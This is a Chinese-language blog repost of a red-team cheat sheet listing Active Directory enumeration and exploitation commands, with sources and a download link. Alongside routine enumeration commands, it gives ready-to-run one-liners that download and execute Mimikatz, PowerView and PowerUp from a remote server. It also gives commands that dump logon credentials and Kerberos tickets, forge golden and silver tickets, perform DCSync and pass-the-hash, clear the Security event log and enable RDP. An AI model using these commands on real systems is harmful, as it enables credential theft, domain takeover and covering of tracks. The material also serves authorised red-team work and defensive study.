LOLAD和 Exploitation项目提供了全面的 Active Directory 技术、命令和功能集合,可用于本地支持攻击性安全操作和红队演习。这些技术利用 AD 的内置工具进行侦察、特权升级和横向移动等策略。了解这些方法有助于防御者加强 AD 配置并提高监控能力。

列表清单

技术/命令名称

命令

类型

参考

收集域 SID

Get-ADDomain | Select-Object SID

PowerShell

Microsoft 文档

列出域控制器

nltest /dclist:domain

CMD

Microsoft 文档

枚举域组

Get-ADGroup -Filter * | Select-Object Name

PowerShell

Microsoft 文档

检查 AD 复制状态

repadmin /replsummary

CMD

Microsoft 文档

枚举域用户

Get-ADUser -Filter * | Select-Object Name, SamAccountName

PowerShell

AD 漏洞利用速查表

获取域密码策略

Get-ADDefaultDomainPasswordPolicy

PowerShell

PowerShell 红队

识别域管理员成员

Get-ADGroupMember -Identity "Domain Admins"

PowerShell

Microsoft 文档

检查 Kerberos 票证政策

Get-ADDefaultDomainPasswordPolicy | Select-Object -ExpandProperty KerberosTicketPolicy

PowerShell

AD 漏洞利用速查表

列出所有组织单位 (OU)

Get-ADOrganizationalUnit -Filter *

PowerShell

Microsoft 文档

识别具有委派权限的用户

Get-ADUser -Filter {TrustedForDelegation -eq $true}

PowerShell

PowerShell 红队

列出 AD 用户的详细信息

Get-ADUser -Filter * -Properties DisplayName, EmailAddress, LastLogonDate

PowerShell

Microsoft 文档

使用 SPN 识别账户(Kerberoasting)

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

PowerShell

AD 漏洞利用速查表

查找管理员账户

dsquery user -name *admin*

CMD

HackTricks – AD 方法论

列出所有域计算机

Get-ADComputer -Filter * | Select-Object Name, OperatingSystem

PowerShell

中等 – AD 枚举

检查组策略对象 (GPO)

Get-GPO -All

PowerShell

活动目录专业版

列出特权组

net group "Domain Admins" /domain

CMD

HackTheBox – AD 渗透测试指南

查找具有无约束委派的机器

Get-ADComputer -Filter {TrustedForDelegation -eq $true}

PowerShell

PowerShell 红队

检查用户帐户锁定状态

Get-ADUser -Filter * -Properties LockedOut | Where-Object {$_.LockedOut -eq $true}

PowerShell

Exploit-DB – AD 枚举指南

识别过期的密码

Search-ADAccount -PasswordExpired | Select-Object Name, PasswordExpired

PowerShell

渗透测试一切-AD 枚举

查询所有域服务

nltest /dsgetdc:domain

CMD

中级 – 使用 PowerShell 进行 AD 枚举

枚举受信任的域

nltest /trusted_domains

CMD

GitHub – AD 渗透测试

列出广告网站

Get-ADReplicationSite -Filter *

PowerShell

Microsoft 文档

获取域林信息

Get-ADForest

PowerShell

CBT Nuggets – 常见的 AD 命令

查找用户的 SID 历史记录(SID 历史记录滥用)

Get-ADUser -Filter * -Properties SIDHistory | Where-Object {$_.SIDHistory}

PowerShell

AD 漏洞利用速查表

检查域控制器证书

certutil -dcinfo verify

CMD

PowerShell 红队

导入 PowerView 模块

powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://remoteserver/PowerView.ps1'); Get-NetUser"

PowerShell

PowerSploit-PowerView

导入 PowerUp 模块

powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://remoteserver/PowerUp.ps1'); Invoke-AllChecks"

PowerShell

PowerSploit-PowerUp

使用 PowerView 查找域管理员

Get-NetGroup -GroupName "Domain Admins" | Get-NetGroupMember

PowerShell (PowerView)

PowerSploit-PowerView

使用 PowerView 列出所有域

Get-NetDomain

PowerShell (PowerView)

HackTricks – AD 方法论

使用 PowerView 枚举域信任

Get-NetDomainTrust

PowerShell (PowerView)

中等 – AD 枚举

使用 PowerUp 查找本地权限提升路径

Invoke-AllChecks

PowerShell(PowerUp)

PowerSploit-PowerUp

使用 PowerUp 识别本地管理员

Get-LocalGroupMember -Group "Administrators"

PowerShell

PowerSploit-PowerUp

使用 PowerView 搜索可 Kerberoast 攻击的账户

Get-NetUser -SPN | Select-Object servicePrincipalName

PowerShell (PowerView)

PowerSploit-PowerView

使用 PowerView 列出域计算机上的所有会话

Get-NetSession -ComputerName target-machine

PowerShell (PowerView)

渗透测试一切-AD 枚举

使用 PowerView 枚举所有域计算机上的本地管理员

Invoke-EnumerateLocalAdmin -ComputerName target-machine

PowerShell (PowerView)

PowerSploit-PowerView

使用 PowerUp 查找弱文件权限

Invoke-CheckLocalAdminAccess

PowerShell(PowerUp)

PowerSploit-PowerUp

使用 PowerUp 检查可写注册表路径

Invoke-AllChecks | Select-Object WritableRegPaths

PowerShell(PowerUp)

PowerSploit-PowerUp

使用 SecretsDump 转储域名哈希

secretsdump.py domain/username:password@target

Python(Impacket)

Impacket-SecretsDump

使用 PowerView 检查域策略

Get-DomainPolicy

PowerShell (PowerView)

PowerSploit-PowerView

使用 PowerView 识别有趣的 ACL

Find-InterestingDomainAcl

PowerShell (PowerView)

PowerSploit-PowerView

枚举域用户 (LDAP)

dsquery user -name *

CMD

活动目录专业版

获取域名信息

Get-ADDomain

PowerShell

Microsoft 文档

枚举域林

Get-ADForest

PowerShell

Microsoft 文档

列出域中的所有用户

net user /domain

CMD

活动目录专业版

获取域功能级别

Get-ADDomain | Select-Object DomainMode

PowerShell

HackTricks – AD 方法论

列出域组

Get-ADGroup -Filter * | Select-Object Name

PowerShell

中等 – AD 枚举

查询域中的域控制器

nltest /dclist:domain

CMD

Microsoft 文档

查找 DC 站点信息

nltest /dsgetsite

CMD

Microsoft 文档

列出域中的所有计算机

Get-ADComputer -Filter *

PowerShell

活动目录专业版

获取林中的所有子网

Get-ADReplicationSubnet -Filter *

PowerShell

Microsoft 文档

检查 LDAP 服务器状态

nltest /dsgetdc:domain /ldaponly

CMD

Microsoft 文档

获取 AD DNS 区域信息

Get-DnsServerZone

PowerShell

Microsoft 文档

检查域组成员身份

net group "GroupName" /domain

CMD

CBT Nuggets – AD 命令

获取域用户上次登录时间

Get-ADUser -Filter * -Properties LastLogonDate | Select Name, LastLogonDate

PowerShell

中等 – AD 枚举

列出所有服务帐户

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} | Select Name, ServicePrincipalName

PowerShell

渗透测试一切-AD 枚举

获取域的密码策略

Get-ADDefaultDomainPasswordPolicy

PowerShell

活动目录专业版

列出域计算机上的打开文件共享

net view \\target-machine

CMD

Exploit-DB-AD 枚举

查找 Active Directory 站点

Get-ADReplicationSite -Filter *

PowerShell

Microsoft 文档

列出组织单位 (OU)

Get-ADOrganizationalUnit -Filter *

PowerShell

Microsoft 文档

检查计算机的组策略

gpresult /r /scope computer

CMD

Microsoft 文档

查询域中的 DNS 服务器

Get-DnsServerResourceRecord -ZoneName "domain.local"

PowerShell

Microsoft 文档

枚举全局目录服务器

nltest /dsgetdc:/gc

CMD

Microsoft 文档

获取域密码过期策略

net accounts /domain

CMD

HackTheBox – AD 渗透测试指南

获取域控制器

Get-ADDomainController -Filter *

PowerShell

Microsoft 文档

枚举所有组织单位 (OU)

Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName

PowerShell

Microsoft 文档

列出特定组中的用户

Get-ADGroupMember -Identity "Domain Admins" | Select-Object Name, SamAccountName

PowerShell

AD 漏洞利用速查表

检查所有用户的上次登录时间

Get-ADUser -Filter * -Properties LastLogonDate | Where-Object {$_.LastLogonDate -ne $null} | Select-Object Name, LastLogonDate

PowerShell

活动目录专业版

列出 Active Directory 站点

Get-ADReplicationSite -Filter *

PowerShell

Microsoft 文档

在计算机上查找本地管理员

net localgroup Administrators

CMD

Microsoft 文档

获取密码过期的域用户

Search-ADAccount -PasswordExpired | Select-Object Name, PasswordExpired

PowerShell

HackTheBox – AD 渗透测试指南

查询域林全局目录

nltest /gc

CMD

Microsoft 文档

检查域管理员帐户状态

Get-ADUser -Filter {MemberOf -RecursiveMatch 'Domain Admins'} | Select-Object Name, Enabled

PowerShell

渗透测试一切-AD 枚举

列出域中的特权帐户

Get-ADUser -Filter {AdminCount -eq 1} | Select-Object Name, SamAccountName

PowerShell

中等 – AD 枚举

枚举组策略对象 (GPO)

Get-GPO -All | Select-Object DisplayName, GpoStatus

PowerShell

PowerShell 红队

识别具有不受约束委派的计算机

Get-ADComputer -Filter {TrustedForDelegation -eq $true} | Select-Object Name, DNSHostName

PowerShell

PowerSploit-PowerView

列出所有域组及其成员

Get-ADGroup -Filter * | ForEach-Object {Get-ADGroupMember -Identity $_.Name | Select Name, SamAccountName}

PowerShell

AD 漏洞利用速查表

查找域密码策略设置

net accounts /domain

CMD

活动目录专业版

列出服务主体名称 (SPN)

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} | Select-Object Name, ServicePrincipalName

PowerShell

HackTricks – AD 方法论

枚举 DNS 服务器

Get-DnsServer | Select-Object Name, IPAddress

PowerShell

Microsoft 文档

列出特定 OU 上的委派管理员

Get-ACL "OU=TestOU,DC=domain,DC=com" | Format-List

PowerShell

中等 – AD 枚举

识别过期帐户

Search-ADAccount -AccountExpired | Select-Object Name, Enabled

PowerShell

AD 漏洞利用速查表

检查域控制器同步状态

repadmin /showrepl

CMD

Microsoft 文档

查找启用了 LAPS 的计算机

Find-AdmPwdExtendedRights -Identity "OU=Workstations,DC=domain,DC=com"

PowerShell

Microsoft 文档

查看所有复制子网

Get-ADReplicationSubnet -Filter *

PowerShell

Microsoft 文档

列出具有高权限的计算机

Get-ADComputer -Filter {PrimaryGroupID -eq 512}

PowerShell

中等 – AD 枚举

获取 AD 域站点和子网

Get-ADReplicationSite | Select-Object Name, SiteObjectGUID

PowerShell

Microsoft 文档

枚举密码策略

Get-ADFineGrainedPasswordPolicy

PowerShell

Microsoft 文档

查找高价值目标(例如具有 SPN 的管理员)

Get-ADUser -Filter {ServicePrincipalName -ne "$null" -and MemberOf -like "*Domain Admins*"} | Select Name, ServicePrincipalName

PowerShell

AD 漏洞利用速查表

列出所有域组和成员计数

Get-ADGroup -Filter * | ForEach-Object {Write-Output "$($_.Name): $((Get-ADGroupMember -Identity $_.Name).Count)"}

PowerShell

活动目录专业版

查找敏感账户委托

Get-ADUser -Filter {TrustedForDelegation -eq $true} | Select-Object Name, SamAccountName

PowerShell

HackTricks – AD 方法论

枚举域管理员

Get-ADGroupMember -Identity "Domain Admins" | Select Name, SamAccountName, ObjectClass

PowerShell

AD 漏洞利用速查表

检查 Kerberos 预身份验证已禁用的帐户

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Select Name, SamAccountName

PowerShell

Microsoft 文档

查找计算机上的所有会话

quser /server:ComputerName

CMD

Quser 命令

确定用户的所有 GPO 权限

Get-GPPermission -All -User "UserName" | Select-Object DisplayName, Permission

PowerShell

Microsoft 文档

枚举所有林信任

Get-ADTrust -Filter *

PowerShell

Microsoft 文档

列出远程计算机上的开放共享

net view \\ComputerName /all

CMD

网络查看命令

检查计算机是否为域控制器

if ((Get-ADComputer -Identity "ComputerName").PrimaryGroupID -eq 516) { "Domain Controller" }

PowerShell

Microsoft 文档

列出特定 OU 的所有成员

Get-ADUser -SearchBase "OU=Users,DC=domain,DC=com" -Filter * | Select Name, SamAccountName

PowerShell

活动目录专业版

使用永不过期的密码识别管理员帐户

Get-ADUser -Filter {PasswordNeverExpires -eq $true -and AdminCount -eq 1} | Select-Object Name

PowerShell

HackTricks – AD 方法论

获取支持 LAPS 的计算机

Find-AdmPwdExtendedRights -Identity "OU=Computers,DC=domain,DC=com"

PowerShell(LAPS)

Microsoft 文档

检查 Active Directory 复制队列

repadmin /queue

CMD

Microsoft 文档

列出缓存中的所有 Kerberos 票证

klist

CMD

Klist 命令

查找密码已过期的用户

Search-ADAccount -PasswordExpired | Select-Object Name, SamAccountName

PowerShell

Microsoft 文档

列出域中所有已禁用的帐户

Search-ADAccount -AccountDisabled | Select-Object Name, SamAccountName

PowerShell

Microsoft 文档

列出特定组的权限

Get-ADGroupMember -Identity "Enterprise Admins" | Select Name, SamAccountName

PowerShell

Microsoft 文档

列出域控制器上的会话

qwinsta /server:DomainControllerName

CMD

Qwinsta 命令

检查域控制器复制状态

Get-ADReplicationPartnerMetadata -Target "DC=domain,DC=com"

PowerShell

Microsoft 文档

列出远程系统上的本地管理员

net localgroup Administrators /domain

CMD

网络本地组命令

以管理员身份运行 Mimikatz(无文件)

IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'privilege::debug sekurlsa::logonpasswords'

PowerShell(无文件)

Mimikatz 备忘单

从内存中转储凭证(无文件)

IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'privilege::debug sekurlsa::logonpasswords'

PowerShell(无文件)

Mimikatz 综合指南

提取 Kerberos 票证(无文件)

IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::list /export'

PowerShell(无文件)

ADSecurity-Mimikatz

传递哈希攻击(无文件)

IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::pth /user:UserName /domain:domain.local /ntlm:hash /run:powershell.exe'

PowerShell(无文件)

AkimboCore – Mimikatz

枚举所有注册表项

reg query HKLM

CMD

SS64 – 注册命令

检查自动启动程序

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

CMD

HackTricks – 注册表持久性

修改注册表项权限

reg add HKLM\Software\ExampleKey /v ExampleValue /t REG_SZ /d "ExampleData" /f

CMD

SS64 – Reg Add 命令

导出注册表配置单元

reg export HKLM\Software\MyKey mykey.reg

CMD

SS64 – 注册导出命令

强制组策略更新

gpupdate /force

CMD

SS64 – Gpupdate 命令

列出计算机已应用的 GPO

gpresult /R /SCOPE COMPUTER

CMD

SS64 – Gpresult 命令

枚举链接到 OU 的所有 GPO

Get-GPLink -Domain domain.local -Target "OU=ExampleOU,DC=domain,DC=local"

PowerShell

Microsoft 文档

列出域中的所有组策略

Get-GPO -All

PowerShell

Microsoft 文档

在远程计算机上查找本地管理员

net localgroup Administrators /domain

CMD

SS64 – Net Localgroup 命令

查看安全事件日志

Get-EventLog -LogName Security -Newest 100

PowerShell

Microsoft 文档

清除安全事件日志

Clear-EventLog -LogName Security

PowerShell

Microsoft 文档

启用远程桌面 (RDP)

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

CMD

HackTricks – 启用 RDP

金票攻击(无文件)

IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21- /krbtgt: /id:500'
在会话中加载票证:
IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt '

PowerShell(无文件)

HackTricks-黄金票

银票攻击(无文件)

IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::golden /user:UserName /domain:domain.local /sid:S-1-5-21- /target:ServerName /rc4: /service:cifs /id:500'
在会话中加载票证:
IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt '

PowerShell(无文件)

ADSecurity-银票

传递票证攻击(无文件)

转储内存中的 Kerberos 票证:
IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::tickets'
使用特定的 Kerberos 票证:
IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'kerberos::ptt '

PowerShell(无文件)

Mimikatz 备忘单 – 传递票证

转储缓存域凭据(无文件)

IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'sekurlsa::logonpasswords'(需要提升权限)

PowerShell(无文件)

Mimikatz 综合指南

使用 DCSync (无文件) 转储域凭证

IEX (New-Object Net.WebClient).DownloadString('http://servidor_remoto/mimikatz.ps1'); Invoke-Mimikatz -Command 'lsadump::dcsync /domain:domain.local /user:Administrator'

PowerShell(无文件)

ADSecurity——DCSync 攻击

启用远程桌面 (RDP)

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

CMD

HackTricks – 启用 RDP

检查注册表项的持久性

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

CMD

SS64 – 注册命令

列出用户权限分配

Get-GPResultantSetOfPolicy -User domain\username -ReportType Html -Path C:\gporeport.html

PowerShell

Microsoft 文档

导出所有组策略对象

Backup-GPO -All -Path "C:\GPOBackups"

PowerShell

Microsoft 文档

针对本地帐户的传递哈希攻击

sekurlsa::pth /user:LocalUser /domain:localhost /ntlm: /run:powershell.exe

Mimikatz

HackTricks – 传递哈希值

查询 Active Directory 复制伙伴

repadmin /showrepl

CMD

Microsoft 文档

列出所有 Active Directory 站点

Get-ADReplicationSite -Filter *

PowerShell

Microsoft 文档

识别域管理员组成员

Get-ADGroupMember -Identity "Domain Admins"

PowerShell

Microsoft 文档

截图

在线地址

https://lolad-project.github.io/

项目地址

直链下载:https://lp.lmboke.com/LOLAD-Project.github.io-main.zip

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。